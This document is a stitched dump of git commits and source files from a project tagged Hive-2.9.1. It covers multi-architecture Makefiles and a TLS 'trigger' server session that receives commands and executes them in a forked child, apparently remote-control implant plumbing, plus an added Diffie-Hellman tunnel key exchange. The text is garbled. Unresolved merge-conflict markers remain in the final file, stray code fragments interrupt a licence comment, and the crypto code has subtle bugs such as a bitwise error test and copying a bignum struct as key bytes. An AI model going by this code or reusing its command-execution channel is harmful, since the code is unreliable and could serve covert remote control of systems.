-all: $(ILMCLIENT_REBUILD) $(LIBSSL) $(LIBHCLIENT) cryptcat $(LIBCRYPTO) $(OBJS) $(LIBDEBUG)
+all: $(ILMCLIENT_REBUILD) $(LIBHCLIENT) $(LIBCRYPTO) $(LIBSSL) cryptcat $(OBJS) $(LIBDEBUG)
+ printf "\tLINKING ILM CLIENT...\n"
$(CXX) $(CXXFLAGS) -shared $(INCLUDES) $(OBJS) $(LDFLAGS) $(LIBS) -o $(OUTFILE)
${MD5SUM} $(OUTFILE) > $(OUTFILE).md5
echo "ARCH_BUILD_ILMCLIENT=$(TARGET)" > ARCH_BUILD
printf "\n=========================================================================\n"
- printf "\tBUILDING ILM CLIENT COMPLETE\n"
+ printf "\tBUILD OF ILM CLIENT COMPLETE\n"
printf "=========================================================================\n"
# rm -f cryptcat.h
@@ -162,8 +163,6 @@ $(HCLIENT)-$(TARGET):
cd $(CLIENT) && $(MAKE) TARGET=$(TARGET)
cp $(CLIENT)/HCLIENT) .
-libhclient: $(LIBHCLIENT)
-
$(LIBHCLIENT): $(CLIENTLIB_REBUILD)
cd $(CLIENT) && $(MAKE) TARGET=$(TARGET) library
@@ -204,17 +203,18 @@ distclean: clean
.PHONY: clean
clean:
+ printf "\n\tCLEANING...\n\n"
rm -f *.o $(CLIENT)/cryptcat/cryptcat cryptcat.h
rm -f $(LIBHCLIENT)
rm -f $(LIBCRYPTCAT)
rm -f hclient-linux-dbg
rm -f $(OUTFILE).md5
- $(MAKE) -C $(SSL)/library clean
- $(MAKE) -C $(CLIENT) clean
- $(MAKE) -C $(CRYPTO) clean
- $(MAKE) -C $(STRINGS) clean
+# $(MAKE) -C $(CLIENT) clean
>ARCH_BUILD
.cpp.o:
printf "\tC++\t$<\n"
$(CXX) $(CXXFLAGS) -c $<
+
+.PHONY: force-rebuild
+force-rebuild: ;
tree 19044b3e18d8318f6038a046816c3bc4da0aa64a
Makefile-include.arm
Makefile-include.linux-x86
Makefile-include.linux-x86_64
Makefile-include.mikrotik-mips
Makefile-include.mikrotik-mipsel
Makefile-include.mikrotik-ppc
Makefile-include.mikrotik-x86
Makefile-include.solaris-sparc
Makefile-include.solaris-x86
Makefile.arm
Makefile.linux-x86
Makefile.linux-x86_64
Makefile.mikrotik-mips
Makefile.mikrotik-mipsel
Makefile.mikrotik-ppc
Makefile.mikrotik-x86
Makefile.mipsel
Makefile.solaris-sparc
Makefile.solaris-x86
bzip2
bzip2-1.0.6/
crypto/
debug.h
polarssl
polarssl-1.1.8/
ssl
strings/
commit da05e44364553ed4d7e4ea483218b991358c43ed
Author: Jack M <jackmc@devlan.net>
Date: Tue Mar 18 10:10:41 2014 -0400
Solaris bug clean-up.
diff --git a/server/client_session.c b/server/client_session.c
index 48f2d44..e140f7c 100644
--- a/server/client_session.c
+++ b/server/client_session.c
@@ -436,7 +436,7 @@ unsigned long StartClientSession( int sock )
if ( crypt_setup_client( &trig_hs, &trig_ssl, &trig_ssn, &sock ) != SUCCESS )
{
DLX(2, printf("ERROR: crypt_setup_client()\n"));
- crypt_cleanup( &trig_ssl);
+ crypt_cleanup( &trig_ssl);
return FAILURE; //TODO: SHOULD THESE BE GOING TO EXIT AT BOTTOM???
}
@@ -445,7 +445,7 @@ unsigned long StartClientSession( int sock )
if ( crypt_handshake(&trig_ssl) != SUCCESS )
{
DLX(2, printf("ERROR: TLS connection with TLS server failed to initialize.\n"));
- crypt_cleanup( &trig_ssl);
+ crypt_cleanup( &trig_ssl);
return FAILURE; //TODO: SHOULD THESE BE GOING TO EXIT AT BOTTOM???
}
DLX(3, printf("TLS handshake complete.\n"));
@@ -455,23 +455,34 @@ unsigned long StartClientSession( int sock )
{
COMMAND cmd;
REPLY ret;
+ int r;
+ short read_error_count = 0;
// Fill reply buffer with random bytes
GenRandomBytes((unsigned char *)&ret, sizeof(REPLY));
// Get command struct. Willing to wait 5 minutes between commands
- // set timeout. if we don't receive a command within this timeframe, assume we are hung and exit
- // this timeout is reset each time a command is received.
+ // Set timeout. If we don't receive a command within this time frame, assume we are hung and exit.
+ // This timeout is reset each time a command is received.
alarm( SESSION_TIMEOUT );
- // Receive(sock, (unsigned char*)&cmd, sizeof(cmd), CMD_TIMEOUT);
- //TODO: Fix this. There's nothing in this loop after removing the WIN32 code.
- if(crypt_read( &trig_ssl, (unsigned char *)&cmd, sizeof( COMMAND )) <= 0)
- {
- DLX(3, printf("crypt_read failed to return data\n"));
- continue;
- }
+ do { // This loop limits the number of SSL read errors that can occur in succession before an error termination if forced.
+ r = crypt_read(&trig_ssl, (unsigned char *)&cmd, sizeof(COMMAND));
+ if (r == 0) { // Peer closed connection
+ DLX(3, printf("crypt_read: peer closed connection\n"));
+ goto Exit;
+ }
+ if (r < 0) { // Read error
+ DLX(3, printf("crypt_read error: %0x\n", r));
+ read_error_count++;
+ if (read_error_count > SSL_READ_ERROR_LIMIT) {
+ DLX(3, printf("crypt_read error limit exceeded\n"));
+ goto Exit;
+ }
+ }
+ } while (r < 0);
+
alarm( 0 );
// Expand the cmd.path to the proper path resolving ENVIRONMENT variables
@@ -572,9 +583,7 @@ Exit:
int Execute( char *path )
{
- //Assume success...
- int rv;
- int status=0;
+ int status=0; //Assume success...
pid_t pid;
char* receivedCommand;
@@ -606,9 +615,9 @@ int Execute( char *path )
status = -1;
}
else
- {
- //This is the parent process, Wait for the child to complete.
- rv = waitpid( pid, &status, 0);
+ { //This is the parent process, Wait for the child to complete.
+ D(int rv;)
+ D(rv =) waitpid( pid, &status, 0);
DLX(2, printf("waitpid() returned %d while waiting for pid %d\n", rv, (int)pid));
if (WIFEXITED(status))
{
diff --git a/server/client_session.h b/server/client_session.h
index 27df664..4f83338 100644
--- a/server/client_session.h
+++ b/server/client_session.h
@@ -7,11 +7,9 @@
#include "compat.h"
#include "function_strings.h"
-#define CONNECT_TIMEOUT 60 * 5 //connect timeout = 60 seconds * 5 minutes
-#define SESSION_TIMEOUT 60 * 60 * 1 // session timeout = 60 seconds * 60 minutes * 1 hours
-// for testing
-//#define SESSION_TIMEOUT 30
-
+#define CONNECT_TIMEOUT 60 * 5 //connect timeout = 60 seconds * 5 minutes
+#define SESSION_TIMEOUT 60 * 60 * 1 // session timeout = 60 seconds * 60 minutes * 1 hours
+#define SSL_READ_ERROR_LIMIT 5 // SSL read error limit -- retry read 5 times before exiting
/*!
* @struct COMMAND
diff --git a/server/polarssl-0.14.0/crypto.c b/server/polarssl-0.14.0/crypto.c
index a9ce5d5..2462547 100644
--- a/server/polarssl-0.14.0/crypto.c
+++ b/server/polarssl-0.14.0/crypto.c
@@ -57,34 +57,28 @@ extern "C" {
}
//*******************************************************
+ /*!
+ * crypt_read(ssl_context * ssl, unsigned char *buf, int bufsize)
+ * @param ssl
+ * @param buf
+ * @param bufsize
+ * @return Characters read, 0 if peer closed, or < 0 for error
+ */
int crypt_read(ssl_context * ssl, unsigned char *buf, int bufsize) {
int ret;
- // TODO: look at this do/while loop again. it only runs once.
- // does it serve any other purpose?
- do {
- memset(buf, 0, bufsize);
+ memset(buf, 0, bufsize);
- ret = ssl_read(ssl, buf, bufsize);
-
- if (ret == POLARSSL_ERR_NET_TRY_AGAIN) {
- DLX(5, printf("ERROR: ssl_read() returned POLARSSL_ERR_NET_TRY_AGAIN, retrying...\n"));
- continue;
- }
-
- if (ret == POLARSSL_ERR_SSL_PEER_CLOSE_NOTIFY) {
- DLX(5, printf("ERROR: ssl_read() returned POLARSSL_ERR_SSL_PEER_CLOSE_NOTIFY\n"));
- break;
- }
-
- if (ret <= 0) {
- DLX(5, printf("ERROR: ssl_read() failed with error: %d\n", ret));
- break;
- }
+ ret = ssl_read(ssl, buf, bufsize);
+ if (ret & POLARSSL_ERR_SSL_PEER_CLOSE_NOTIFY) {
+ DLX(5, printf("ssl_read(): peer closed connection\n"));
+ ret = 0;
+ } else if (ret < 0) {
+ DLX(5, printf("ERROR: ssl_read() failed with error: %d\n", ret));
+ } else {
DLX(5, printf("ssl_read(): %d bytes read\n", ret));
}
- while (0);
return ret;
}
commit e3051377e1442f730cad5b91666b60537b6224c4
Merge: 400713b 67ab104
Author: Michael R <miker@devlan.net>
Date: Tue Sep 9 09:46:20 2014 -0400
Added P and G to dhExchange.c
diff --cc common/crypto/dhExchange.c
index 773b3c3,9fdc8c6..ea8847a
--- a/common/crypto/dhExchange.c
+++ b/common/crypto/dhExchange.c
@@@ -19,33 -19,17 +19,47 @@@
#include "polarssl/debug.h"
int find_DH_SecretKey( ssl_context *ssl);
++<<<<<<< HEAD
+
+//SSL has already performed a Diffie-Hellman Key exchange and has it's own
+// internal dhm_context witha secret key. We need to create another
+// dhm_context and have it perform another Diffie_Hellman Key Exchange to
+// generate another new secret Key which will be used as the key for aes
+// encryption.
+int dhHandshake( dhm_context *tunnelDhm, ssl_context *ssl );
+int dhClientExchange( dhm_context *tunnelDhm, ssl_context *ssl );
+int dhServerExchange( dhm_context *tunnelDhm, ssl_context *ssl );
+
+
+#define POLARSSL_DHM_RFC3526_MODP_2048_P \
+ "FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD1" \
+ "29024E088A67CC74020BBEA63B139B22514A08798E3404DD" \
+ "EF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245" \
+ "E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7ED" \
+ "EE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3D" \
+ "C2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F" \
+ "83655D23DCA3AD961C62F356208552BB9ED529077096966D" \
+ "670C354E4ABC9804F1746C08CA18217C32905E462E36CE3B" \
+ "E39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9" \
+ "DE2BCBF6955817183995497CEA956AE515D2261898FA0510" \
+ "15728E5A8AACAA68FFFFFFFFFFFFFFFF"
+
+#define POLARSSL_DHM_RFC3526_MODP_2048_G "02"
+
+
++=======
+
+ //SSL has already performed a Diffie-Hellman Key exchange and has it's own
+ // internal dhm_context witha secret key. We need to create another
+ // dhm_context and have it perform another Diffie_Hellman Key Exchange to
+ // generate another new secret Key which will be used as the key for aes
+ // encryption.
+ int dhHandshake( dhm_context *tunnelDhm, ssl_context *ssl );
+ int dhClientExchange( ssl_context *ssl );
+ int dhServerExchange( ssl_context *ssl );
+
+
++>>>>>>> 67ab104ef22b83f19b6ffa571eec8a54ad0fa0ee
int find_DH_SecretKey( ssl_context *ssl )
{
@@@ -78,18 -60,18 +92,33 @@@
int dhHandshake( dhm_context *tunnelDhm, ssl_context *ssl )
{
int dhRet = -99;
++<<<<<<< HEAD
+
+ if ( ssl->endpoint == SSL_IS_CLIENT )
+ {
+ DLX(4, printf( "Will attempt dhClientExchange in ../common/crypto/dhExchange.c.\n"));
+ dhRet = dhClientExchange( tunnelDhm, ssl ); //Should this return an error/success code?
+ }
+ else
+ {
+ DLX(4, printf( "Will attempt dhServerExchange in ../common/crypto/dhExchange.c.\n"));
+ dhRet = dhServerExchange( tunnelDhm, ssl ); //Should this return an error/success code?
+ }
+
++=======
+
+ if ( ssl->endpoint == SSL_IS_CLIENT )
+ {
+ DLX(4, printf( "Will attempt dhClientExchange in ../common/crypto/dhExchange.c.\n"));
+ //dhRet = dhClientExchange( ssl ); //Should this return an error/success code?
+ }
+ else
+ {
+ DLX(4, printf( "Will attempt dhServerExchange in ../common/crypto/dhExchange.c.\n"));
+ //dhRet = dhServerExchange( ssl ); //Should this return an error/success code?
+ }
+
++>>>>>>> 67ab104ef22b83f19b6ffa571eec8a54ad0fa0ee
return dhRet;
}
commit 400713b117c1c53a94ce70c0970f22786bd8e4c1
Author: Michael R <miker@devlan.net>
Date: Tue Sep 9 09:42:49 2014 -0400
Added dhHandshake method to common/crypto/dhExchange.c, client/modes.c and server/client_session.c
diff --git a/client/modes.c b/client/modes.c
index 643c3a8..65d3a78 100644
--- a/client/modes.c
+++ b/client/modes.c
@@ -19,6 +19,7 @@ void Run( struct proc_vars* info, struct trigger_params *trigger_args )
ctr_drbg_context ctr_drbg;
ssl_context ssl;
ssl_session ssn;
+ dhm_context *tunnelDhm;
int sKeyRet;
pthread_mutex_init( &tlock, NULL );
@@ -86,17 +87,34 @@ void Run( struct proc_vars* info, struct trigger_params *trigger_args )
DLX(2, printf( " TLS handshake complete.\n"));
printf( "\n" );
- //Check Diffie Hellman Key...
- //See if Secret Key is available
- sKeyRet=find_DH_SecretKey(&ssl);
+ //Tunnel Dhm
+ tunnelDhm = (dhm_context *) calloc(1, sizeof(dhm_context));
+ //TODO : make sure calloc succeeded...
+ DLX(4, printf( "Beginning to do tunnel Diffie Hellman Handshake.\n"));
+ sKeyRet= dhHandshake( tunnelDhm, &ssl );
if (sKeyRet == 0)
{
- DLX(4, printf( "A DH Secret Key was NOT found.\n"));
+ DLX(4, printf(" Tunnel Diffie Hellman Handshake returned %d.\n", sKeyRet));
}
else
{
- DLX(4, printf( "A DH Secret Key K was found, returned %d.\n",sKeyRet));
+ DLX(4, printf(" Tunnel Diffie Hellman Handshake returned %d.\n", sKeyRet));
}
+ DLX(4, printf( "End of tunnel Diffie Hellman Handshake.\n"));
+ free( tunnelDhm);
+
+ //Check Diffie Hellman Key of ssl... Should modify so we pass in dhm_conext
+ //only in the find_DH_SecretKey method.
+ //See if Secret Key is available
+ //sKeyRet=find_DH_SecretKey(&ssl);
+ //if (sKeyRet == 0)
+ //{
+ // DLX(4, printf( "A DH Secret Key was NOT found.\n"));
+ //}
+ //else
+ //{
+ // DLX(4, printf( "A DH Secret Key K was found, returned %d.\n",sKeyRet));
+ //}
// The following if statement used to have an else clause to call AutomaticMode() which did nothing.
if ( info->interactive == YES )
diff --git a/common/crypto/dhExchange.c b/common/crypto/dhExchange.c
index dddf679..773b3c3 100644
--- a/common/crypto/dhExchange.c
+++ b/common/crypto/dhExchange.c
@@ -19,15 +19,41 @@
#include "polarssl/debug.h"
int find_DH_SecretKey( ssl_context *ssl);
-int dhClientExchange( ssl_context *ssl );
-int dhServerExchange( ssl_context *ssl);
-int find_DH_SecretKey( ssl_context *ssl)
+//SSL has already performed a Diffie-Hellman Key exchange and has it's own
+// internal dhm_context witha secret key. We need to create another
+// dhm_context and have it perform another Diffie_Hellman Key Exchange to
+// generate another new secret Key which will be used as the key for aes
+// encryption.
+int dhHandshake( dhm_context *tunnelDhm, ssl_context *ssl );
+int dhClientExchange( dhm_context *tunnelDhm, ssl_context *ssl );
+int dhServerExchange( dhm_context *tunnelDhm, ssl_context *ssl );
+
+
+#define POLARSSL_DHM_RFC3526_MODP_2048_P \
+ "FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD1" \
+ "29024E088A67CC74020BBEA63B139B22514A08798E3404DD" \
+ "EF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245" \
+ "E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7ED" \
+ "EE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3D" \
+ "C2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F" \
+ "83655D23DCA3AD961C62F356208552BB9ED529077096966D" \
+ "670C354E4ABC9804F1746C08CA18217C32905E462E36CE3B" \
+ "E39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9" \
+ "DE2BCBF6955817183995497CEA956AE515D2261898FA0510" \
+ "15728E5A8AACAA68FFFFFFFFFFFFFFFF"
+
+#define POLARSSL_DHM_RFC3526_MODP_2048_G "02"
+
+
+int find_DH_SecretKey( ssl_context *ssl )
{
uint8_t * kKey;
size_t kKeySize;
- int mpiRet;
+ int mpiRet = 0;
+ //TODO: Do we use mpiRet to pass back the status?
+
//int n;
DL(4);
@@ -49,7 +75,24 @@ int find_DH_SecretKey( ssl_context *ssl)
return mpiRet;
}
+int dhHandshake( dhm_context *tunnelDhm, ssl_context *ssl )
+{
+ int dhRet = -99;
+
+ if ( ssl->endpoint == SSL_IS_CLIENT )
+ {
+ DLX(4, printf( "Will attempt dhClientExchange in ../common/crypto/dhExchange.c.\n"));
+ dhRet = dhClientExchange( tunnelDhm, ssl ); //Should this return an error/success code?
+ }
+ else
+ {
+ DLX(4, printf( "Will attempt dhServerExchange in ../common/crypto/dhExchange.c.\n"));
+ dhRet = dhServerExchange( tunnelDhm, ssl ); //Should this return an error/success code?
+ }
+ return dhRet;
+
+}
//Will use ssl_write and ssl_read since connection already exists.
////#define SERVER_PORT 11999
@@ -102,7 +145,7 @@ int find_DH_SecretKey( ssl_context *ssl)
!defined(POLARSSL_ENTROPY_C) || !defined(POLARSSL_NET_C) || \
!defined(POLARSSL_RSA_C) || !defined(POLARSSL_SHA1_C) || \
!defined(POLARSSL_FS_IO) || !defined(POLARSSL_CTR_DRBG_C)
-int dhClientExchange( ssl_context *ssl )
+int dhClientExchange( dhm_context *tunnelDhm, ssl_context *ssl )
{
printf("POLARSSL_AES_C and/or POLARSSL_DHM_C and/or POLARSSL_ENTROPY_C "
@@ -112,7 +155,7 @@ int dhClientExchange( ssl_context *ssl )
return( 0 );
}
#else
-int dhClientExchange( ssl_context *ssl )
+int dhClientExchange( dhm_context *tunnelDhm, ssl_context *ssl )
{
//FILE *f; removed reading of rsa public key file
@@ -127,11 +170,14 @@ int dhClientExchange( ssl_context *ssl )
entropy_context entropy;
ctr_drbg_context ctr_drbg;
- dhm_context dhm;
+
+ //dhm_context dhm;
// aes_context aes;
+ dhm_context dhm = *tunnelDhm;
- memset( &dhm, 0, sizeof( dhm ) );
+ //tunnelDhm was created outside this loop.
+ //memset( &dhm, 0, sizeof( dhm ) );
/*
* 1. Setup the RNG
@@ -330,7 +376,7 @@ int dhClientExchange( ssl_context *ssl )
exit:
net_close( server_fd );
- dhm_free( &dhm );
+ //dhm_free( &dhm );
#if defined(_WIN32)
printf( " + Press Enter to exit this program.\n" );
@@ -383,7 +429,7 @@ exit:
!defined(POLARSSL_ENTROPY_C) || !defined(POLARSSL_NET_C) || \
!defined(POLARSSL_RSA_C) || !defined(POLARSSL_SHA1_C) || \
!defined(POLARSSL_FS_IO) || !defined(POLARSSL_CTR_DRBG_C)
-int dhServerExchange( ssl_context *ssl )
+int dhServerExchange( dhm_context *tunnelDhm, ssl_context *ssl )
{
printf("POLARSSL_AES_C and/or POLARSSL_DHM_C and/or POLARSSL_ENTROPY_C "
"and/or POLARSSL_NET_C and/or POLARSSL_RSA_C and/or "
@@ -392,9 +438,9 @@ int dhServerExchange( ssl_context *ssl )
return( 0 );
}
#else
-int dhServerExchange( ssl_context *ssl )
+int dhServerExchange( dhm_context *tunnelDhm, ssl_context *ssl )
{
- FILE *f;
+ // FILE *f;
int ret, retA;
size_t n, buflen;
@@ -407,11 +453,15 @@ int dhServerExchange( ssl_context *ssl )
entropy_context entropy;
ctr_drbg_context ctr_drbg;
rsa_context rsa;
- dhm_context dhm;
+ dhm_context dhm = *tunnelDhm;
+ //dhm_context dhm;
//aes_context aes;
memset( &rsa, 0, sizeof( rsa ) );
- memset( &dhm, 0, sizeof( dhm ) );
+
+ //tunnelDhm was created outside this loop.
+ //memset( &dhm, 0, sizeof( dhm ) );
+
/*
* 1. Setup the RNG
@@ -467,23 +517,12 @@ int dhServerExchange( ssl_context *ssl )
*/
printf( "\n . Reading DH parameters from dh_prime.txt" );
fflush( stdout );
-
- if( ( f = fopen( "dh_prime.txt", "rb" ) ) == NULL )
- {
- ret = 1;
- printf( " failed\n ! Could not open dh_prime.txt\n" \
- " ! Please run dh_genprime first\n\n" );
- goto exit;
- }
-
- if( mpi_read_file( &dhm.P, 16, f ) != 0 ||
- mpi_read_file( &dhm.G, 16, f ) != 0 )
- {
- printf( " failed\n ! Invalid DH parameter file\n\n" );
- goto exit;
- }
-
- fclose( f );
+ if (mpi_read_string( &dhm.P, 16, POLARSSL_DHM_RFC3526_MODP_2048_P ) != 0 ||
+ mpi_read_string( &dhm.G, 16, POLARSSL_DHM_RFC3526_MODP_2048_G ) != 0)
+ {
+ printf( " failed\n ! Invalid DH parameter file\n\n" );
+ goto exit;
+ }
//NOT DONE SINCE ssl_write and ssl_read are available
#if 0
@@ -645,7 +684,7 @@ int dhServerExchange( ssl_context *ssl )
exit:
rsa_free( &rsa );
- dhm_free( &dhm );
+ //dhm_free( &dhm );
#if defined(_WIN32)
printf( " + Press Enter to exit this program.\n" );
diff --git a/server/client_session.c b/server/client_session.c
index ff83814..1fc0d6f 100644
--- a/server/client_session.c
+++ b/server/client_session.c
@@ -430,6 +430,7 @@ unsigned long StartClientSession( int sock )
int retval = 0;
char* commandpath = 0;
int sKeyRet;
+ dhm_context *tunnelDhm;
DL(2);
// we have an established TCP/IP connection
@@ -452,17 +453,31 @@ unsigned long StartClientSession( int sock )
}
DLX(3, printf("TLS handshake complete.\n"));
- //Check Diffie Hellman Key...
- //See if Secret Key is available
- sKeyRet=find_DH_SecretKey(&trig_ssl);
+ //Tunnel Dhm
+ tunnelDhm = (dhm_context *) calloc(1, sizeof(dhm_context));
+ //TODO : make sure calloc succeeded...
+ DLX(4, printf( "Beginning to do tunnel Diffie Hellman Handshake.\n"));
+ sKeyRet= dhHandshake( tunnelDhm, &trig_ssl );
if (sKeyRet == 0)
{
- DLX(4, printf( "A DH Secret Key was NOT found.\n"));
+ DLX(4, printf("Tunnel Diffie Hellman Handshake returned %d.\n", sKeyRet));
}
else
{
- DLX(4, printf( "A DH Secret Key K was found, returned %d.\n",sKeyRet));
+ DLX(4, printf("Tunnel Diffie Hellman Handshake returned %d.\n", sKeyRet));
}
+
+ //Check Diffie Hellman Key...
+ //See if Secret Key is available
+ //sKeyRet=find_DH_SecretKey(&trig_ssl);
+ //if (sKeyRet == 0)
+ //{
+ // DLX(4, printf( "A DH Secret Key was NOT found.\n"));
+ //}
+ //else
+ //{
+ // DLX(4, printf( "A DH Secret Key K was found, returned %d.\n",sKeyRet));
+ //}
while(!fQuit)
{
tag 2.9.1
Tagger: Jack M <jackmc@devlan.net>
Date: Fri Oct 30 09:53:56 2015 -0400
Hive-2.9.1
commit 9c3cc823c0787729aa8db542bcf636fe8d0a6d02
Author: Jack M <jackmc@devlan.net>
Date: Fri Oct 30 09:52:45 2015 -0400
User's Guide corrections.
diff --git a/documentation/UsersGuide/UsersGuide.odt b/documentation/UsersGuide/UsersGuide.odt
index d9dfb34..8dfb31f 100644
Binary files a/documentation/UsersGuide/UsersGuide.odt and b/documentation/UsersGuide/UsersGuide.odt differ
//SERVER FILES
#ifndef _CRT_SECURE_NO_DEPRECATE
#define _CRT_SECURE_NO_DEPRECATE 1
#endif
#include <string.h>
#include <stdio.h>
#include "polarssl/config.h"
#include "polarssl/net.h"
#include "polarssl/aes.h"
#include "polarssl/dhm.h"
#include "polarssl/rsa.h"
#include "polarssl/ssl.h"
#include "polarssl/sha1.h"
#include "polarssl/entropy.h"
#include "polarssl/ctr_drbg.h"
#include "polarssl/debug.h"
int find_DH_SecretKey( ssl_context *ssl);
<<<<<<< HEAD
//SSL has already performed a Diffie-Hellman Key exchange and has it's own
// internal dhm_context witha secret key. We need to create another
// dhm_context and have it perform another Diffie_Hellman Key Exchange to
// generate another new secret Key which will be used as the key for aes
// encryption.
int dhHandshake( dhm_context *tunnelDhm, ssl_context *ssl );
int dhClientExchange( dhm_context *tunnelDhm, ssl_context *ssl );
int dhServerExchange( dhm_context *tunnelDhm, ssl_context *ssl );
#define POLARSSL_DHM_RFC3526_MODP_2048_P \
"FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD1" \
"29024E088A67CC74020BBEA63B139B22514A08798E3404DD" \
"EF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245" \
"E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7ED" \
"EE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3D" \
"C2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F" \
"83655D23DCA3AD961C62F356208552BB9ED529077096966D" \
"670C354E4ABC9804F1746C08CA18217C32905E462E36CE3B" \
"E39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9" \
"DE2BCBF6955817183995497CEA956AE515D2261898FA0510" \
"15728E5A8AACAA68FFFFFFFFFFFFFFFF"
#define POLARSSL_DHM_RFC3526_MODP_2048_G "02"
=======
//SSL has already performed a Diffie-Hellman Key exchange and has it's own
// internal dhm_context witha secret key. We need to create another
// dhm_context and have it perform another Diffie_Hellman Key Exchange to
// generate another new secret Key which will be used as the key for aes
// encryption.
int dhHandshake( dhm_context *tunnelDhm, ssl_context *ssl );
int dhClientExchange( ssl_context *ssl );
int dhServerExchange( ssl_context *ssl );
>>>>>>> 67ab104ef22b83f19b6ffa571eec8a54ad0fa0ee
int find_DH_SecretKey( ssl_context *ssl )
{
uint8_t * kKey;
size_t kKeySize;
int mpiRet = 0;
//TODO: Do we use mpiRet to pass back the status?
//int n;
DL(4);
if ((kKeySize = mpi_size(&(ssl->dhm_ctx.K))) > 0) {
DLX(4, printf("kKeySize = %d\n", kKeySize));
kKey= (uint8_t *) calloc(kKeySize, sizeof(uint8_t));
}
//TODO: Add error code here
DL(4);
memcpy(kKey, &(ssl->dhm_ctx.K), kKeySize);
SSL_DEBUG_MPI( 3, "kKey:", (mpi *)kKey);
DLX(4, printf( "kKey now has Length of %d.\n", kKeySize));
DLX(4, printf("Freeing kKey for now...\n") );
if (kKey != NULL)
free( kKey);
return mpiRet;
}
int dhHandshake( dhm_context *tunnelDhm, ssl_context *ssl )
{
int dhRet = -99;
<<<<<<< HEAD
if ( ssl->endpoint == SSL_IS_CLIENT )
{
DLX(4, printf( "Will attempt dhClientExchange in ../common/crypto/dhExchange.c.\n"));
dhRet = dhClientExchange( tunnelDhm, ssl ); //Should this return an error/success code?
}
else
{
DLX(4, printf( "Will attempt dhServerExchange in ../common/crypto/dhExchange.c.\n"));
dhRet = dhServerExchange( tunnelDhm, ssl ); //Should this return an error/success code?
}
=======
if ( ssl->endpoint == SSL_IS_CLIENT )
{
DLX(4, printf( "Will attempt dhClientExchange in ../common/crypto/dhExchange.c.\n"));
//dhRet = dhClientExchange( ssl ); //Should this return an error/success code?
}
else
{
DLX(4, printf( "Will attempt dhServerExchange in ../common/crypto/dhExchange.c.\n"));
//dhRet = dhServerExchange( ssl ); //Should this return an error/success code?
}
>>>>>>> 67ab104ef22b83f19b6ffa571eec8a54ad0fa0ee
return dhRet;
}
//Will use ssl_write and ssl_read since connection already exists.
////#define SERVER_PORT 11999
//#define PLAINTEXT "==Hello there!=="
//Will use ssl_write and ssl_read since connection already exists.
//#define SERVER_NAME "localhost"
//#define SERVER_PORT 11999
/////////////////////////////////////////////////////////////////////
// CLIENT PORTION
//
/*
* Diffie-Hellman-Merkle key exchange (client side)
*
* Copyright (C) 2006-2011, Brainspark B.V.
*
* This file is part of PolarSSL (http://www.polarssl.org)
}
}
else
{
DLX(4, printf("find_DH_SecretKey failed and returned a NULL kKey.\n") );
}
*
* Lead Maintainer: Paul Bakker <polarssl_maintainer at polarssl.org>
*
* All rights reserved.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*/
#if !defined(POLARSSL_AES_C) || !defined(POLARSSL_DHM_C) || \
!defined(POLARSSL_ENTROPY_C) || !defined(POLARSSL_NET_C) || \
!defined(POLARSSL_RSA_C) || !defined(POLARSSL_SHA1_C) || \
!defined(POLARSSL_FS_IO) || !defined(POLARSSL_CTR_DRBG_C)
int dhClientExchange( dhm_context *tunnelDhm, ssl_context *ssl )
{
printf("POLARSSL_AES_C and/or POLARSSL_DHM_C and/or POLARSSL_ENTROPY_C "
"and/or POLARSSL_NET_C and/or POLARSSL_RSA_C and/or "
"POLARSSL_SHA1_C and/or POLARSSL_FS_IO and/or "
"POLARSSL_CTR_DRBG_C not defined.\n");
return( 0 );
}
#else
int dhClientExchange( dhm_context *tunnelDhm, ssl_context *ssl )
{
//FILE *f; removed reading of rsa public key file
int ret;
size_t n, buflen;
int server_fd = -1;
unsigned char *p, *end;
unsigned char buf[1024];
//unsigned char hash[20];
char *pers = "dh_client";
entropy_context entropy;
ctr_drbg_context ctr_drbg;
//dhm_context dhm;
// aes_context aes;
dhm_context dhm = *tunnelDhm;
//tunnelDhm was created outside this loop.
//memset( &dhm, 0, sizeof( dhm ) );
/*
* 1. Setup the RNG
*/
printf( "\n . Seeding the random number generator" );
fflush( stdout );
entropy_init( &entropy );
if( ( ret = ctr_drbg_init( &ctr_drbg, entropy_func, &entropy,
(unsigned char *) pers, strlen( pers ) ) ) != 0 )
{
printf( " failed\n ! ctr_drbg_init returned %d\n", ret );
goto exit;
}
/*
* NOT DONE
*
* 2. Read the server's public RSA key
*/
/*
* NOT DONE SINCE ssl_write and ssl_read are available
*
* 3. Initiate the connection
*/
/*
* 4a. First get the buffer length
*/
printf( "\n . Receiving the server's DH parameters" );
fflush( stdout );
memset( buf, 0, sizeof( buf ) );
/*
* WILL REPLACE THIS SECTION WITH ssl_read.
*
*/
//if( ( ret = net_recv( &server_fd, buf, 2 ) ) != 2 )
//{
// printf( " failed\n ! net_recv returned %d\n\n", ret );
// goto exit;
//}
// May need to use ssl->f_recv(ssl->p_recv, buf, 2)
while ( ( ret = ssl_read( ssl, buf, 2 ) ) <= 0 )
{
if( ret != 0 )
{
printf(" Client dh 4a failed.\n");
}
else
{
printf(" Client dh 4a suceeded.\n");
}
}
